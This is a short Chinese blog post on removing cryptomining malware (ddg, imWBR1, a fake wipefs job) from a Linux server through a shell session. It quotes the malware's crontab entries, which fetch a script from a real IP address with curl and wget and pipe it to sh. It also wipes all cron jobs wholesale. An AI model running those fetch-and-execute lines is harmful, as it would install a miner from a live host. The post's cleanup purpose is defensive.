清除挖矿程序(imWBR1,ddg,wipefs),亲测可用

Linux 命令
估计这两个是定时下载病毒程序的任务
# cat  /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
# rm -fr  /var/spool/cron/
# ps -aux|grep ddg
root      1565  0.0  0.3 198580  5832 ?        Sl   Mar27   0:48 /tmp/ddg.3001
root     31956  0.0  0.0 112660   976 pts/2    S+   09:40   0:00 grep --color=auto ddg
# kill -9 1565
ps -aux|grep imWBR1
root     31697  0.4  1.3 319948 25936 ?        Ssl  09:15   0:07 /tmp/imWBR1
root     31970  0.0  0.0 112660   976 pts/2    S+   09:41   0:00 grep --color=auto imWBR1
# kill -9 31697
# rm -f /tmp/ddg.*
# rm -rf /tmp/imWBR1
# cat /etc/crontab
看到这个wipefs的定时任务,wipefs本来是正常的,但是top看wipefs占cpu很大,所以是挖坑伪装的
0 */6 * * * root /bin/wipefs
# echo "" > /etc/crontab
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值